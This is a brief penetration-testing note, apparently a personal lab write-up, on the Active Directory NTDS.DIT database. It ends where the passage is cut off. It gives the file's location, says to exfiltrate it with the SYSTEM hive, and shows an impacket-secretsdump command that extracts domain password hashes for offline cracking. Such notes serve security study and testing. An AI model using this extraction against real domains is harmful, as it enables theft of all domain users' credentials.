NTDS Tom Foolery
Introduction
NTDS, specifically the NTDS.DIT file is not just a file within Active Directory; it is the core of the entire infrustructure. It serves as a centralized repository for all the domain’s objects and their associated information.

NTDS.DIT Location
The NTDS.DIT file is located typically at: C:\Windows\NTDS\Ntds.dit
. Though Administrators can specify alternate locations on setup.

Extracting Password Hashes
Once we have located NTDS.DIT & SYSTEM, we can exfiltrate the file back to our host and crack if offline.
Impacket-Secretsdump
kali@kali$ impacket-secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract
The only thing left to do is:

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